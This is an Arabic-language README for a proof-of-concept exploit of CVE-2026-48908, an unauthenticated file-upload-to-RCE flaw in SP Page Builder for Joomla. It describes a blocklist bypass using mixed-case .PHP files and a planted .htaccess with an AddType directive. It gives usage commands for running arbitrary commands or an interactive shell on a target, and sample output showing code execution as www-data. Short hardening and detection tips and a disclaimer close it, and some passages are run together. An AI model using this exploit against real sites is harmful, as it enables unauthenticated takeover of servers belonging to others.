
PoC لاستغلال RCE بدون مصادقة لثغرة CVE-2026-48908 — SP Page Builder لـ Joomla (≤ 6.6.1): رفع ملفات تعسفي عبر asset.uploadCustomIcon. تنظيف ذاتي، محمي برمز توكن. للاختبار المصرح به فقط.
| CVE | CVE-2026-48908 |
| الضعف | CWE-284 تحكم غير سليم في الوصول → رفع ملفات عشوائي بدون مصادقة → RCE |
| المكوّن | SP Page Builder (com_sppagebuilder) لـ Joomla |
| الإصدارات المتأثرة | 1.0.0 – 6.6.1 |
| أُصلح في | 6.6.2 |
| الصلاحيات المطلوبة | لا شيء (قبل المصادقة) |
| تفاعل المستخدم | لا شيء |
يُتيح SP Page Builder مهمة المتحكّم asset.uploadCustomIcon للتعامل مع رفع حزمة أيقونات خطوط (icon-font) مخصّصة:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
في الإصدارات المتأثرة، يمكن الوصول إلى هذه المهمة بدون مصادقة وبدون رمز anti-CSRF صالح. تقبل هذه المهمة أرشيف ZIP (حقل multipart باسم custom_icon) وتستخرج محتوياته إلى مجلد عام يُقدَّم عبر الويب ضمن جذر المستندات (document root):
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
ونظرًا لأن الرفع متاح قبل المصادقة (pre-auth) وأن الملفات المستخرجة تستقر في جذر الويب، يمكن للمهاجم كتابة ملفات يتحكم بها إلى موقع قابل للتصفح والوصول إليها عبر HTTP.
تضيف بعض الإصدارات مرشّحًا لأسماء الملفات على مستوى الخادم يُطبَّق على مدخلات الأرشيف. يتجاوز هذا الـ PoC تنفيذًا شائعًا لهذا المرشّح عبر سلسلة من ثلاث خطوات:
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … لكنه لا يوحّد حالة الأحرف، لذا فإن .PHP (وأشكال أخرى مختلطة الأحرف) و**.htaccess** تمرّ دون رفض.<FilesMatch "\.php$">) ينفّذ فقط .php الصغيرة، لذا فإن ملف .PHP المرفوع يُقدَّم في البداية كنص مصدري دون تنفيذ..htaccess. يتم وضع ملف .htaccess (الذي تفوته قائمة الحظر أيضًا) يحتوي على AddType application/x-httpd-php .PHP بجانب الحمولة. وعندما يسمح AllowOverride بذلك، يُسجَّل .PHP كامتداد PHP وتنفَّذ الصدفة المرفوعة.يقوم الـ PoC دائمًا بتغليف بنية أيقونات خطوط صالحة (selection.json, style.css, fonts/<name>.ttf) بحيث يُقبل الرفع، ثم يضيف الصدفة.
تكيّفي — يجرب قائمة من الامتدادات التي ينفّذها PHP (الأقل أثرًا أولًا)، ثم خطة بديلة عبر .htaccess، ويتوقف عند أول طريقة تنفّذ التعليمات البرمجية فعليًا:
fonts/<shell>.<ext> لكل من
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. بدون .htaccess.
تحجب مرشّحات SP Page Builder المختلفة مجموعات مختلفة، وتنفّذ إعدادات Apache المختلفة امتدادات
مختلفة — لذا تجد هذه الطريقة أي تركيبة يسمح بها الهدف وينفّذها أيضًا.fonts/.htaccess + fonts/<shell>.PHP (خطة بديلة) — فقط إذا فشلت كل المحاولات المباشرة.
ملف .htaccess الموضوع (AddType … .PHP) يُجبر ملف .PHP بأحرف كبيرة على التنفيذ حيث
يسمح AllowOverride بذلك (هذا ما تحتاجه المضيفات من طراز 5.4.6).يتوقف عند أول طريقة تنفّذ التعليمات البرمجية ويطبع أي طريقة نجحت. يتم تتبع كل رفع مقبول، لذا فإن --cleanup يزيل جميعها (قد تترك المحاولات المتعددة مجلدات للكتابة فقط).
تختلف النتيجة حسب الإصدار وتحصين الخادم، ويوضح الـ PoC ذلك صراحةً (انظر النتائج أدناه): RCE كاملة، كتابة ملفات فقط (PHP معطّل /
AllowOverride None)، مُصلَح (للمدير فقط)، أو غير قابل للاستغلال.
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
يمكن تحديد الهدف كوسيط موضعي (positional argument) أو عبر --url، مع أو بدون بروتوكول (scheme).
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
يخبرك الـ PoC دائمًا بالنتيجة النهائية للهدف:
| المخرَج | المعنى | رمز الخروج |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | قابل للاستغلال — RCE كاملة بدون مصادقة | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | كتابة ملفات فقط (AllowOverride None / PHP معطّل في /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | مُصلَح — يتطلب الرفع الآن مصادقة المدير | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | غير قابل للاستغلال / المكوّن غير موجود | 2 |
404 لأي شخص لا يمتلكه — إنها ليست بابًا خلفيًا مفتوحًا للجميع.--cleanup مجلد الحمولة الذي أنشأه.id، وعلامة حسابية)./media/, /images/, /tmp) عبر تجمّع FPM (FPM pool) أو
php_admin_flag engine off.AllowOverride None على تلك المجلدات بحيث لا يتمكن ملف .htaccess موضوع من إعادة تفعيل المعالجات..php/.PHP غير متوقعة ضمن media/.../iconfont/، وحسابات Super User جديدة، ومديري ملفات مزروعين.استغلال SP Page Builder في Joomla · ثغرة RCE بدون مصادقة في com_sppagebuilder · CVE-2026-48908 PoC · رفع ملفات عشوائي عبر asset.uploadCustomIcon · تنفيذ تعليمات برمجية عن بُعد في Joomla · سكربت استغلال لاختبار الاختراق (pentest).
يُنشر هذا البرنامج لأغراض تعليمية ولأغراض الاختبارات الأمنية المصرَّح بها فقط — مثل اختبارات الاختراق التي لديك إذن كتابي لتنفيذها، وبرامج مكافآت الثغرات (bug-bounty) التي تشمل الهدف ضمن نطاقها، ومسابقات CTF، وأنظمة مختبرك الخاصة.
الوصول إلى أنظمة الحاسوب أو تعديلها أو تعطيلها دون تصريح غير قانوني في معظم الدول. أنت وحدك المسؤول كليًا عن أفعالك. باستخدام هذا الكود أو تنزيله أو توزيعه، فأنت توافق على ما يلي:
إذا كنت لا توافق على هذه الشروط، فلا تستخدم هذا البرنامج. وكما هو الحال مع أي استغلال/ PoC متاح للعموم، تتم مشاركته بحسن نية لمساعدة المدافعين على اكتشاف الثغرة وفهمها ومعالجتها؛ أما ما تفعله به فمسؤوليته تقع عليك وحدك.
MIT — انظر LICENSE.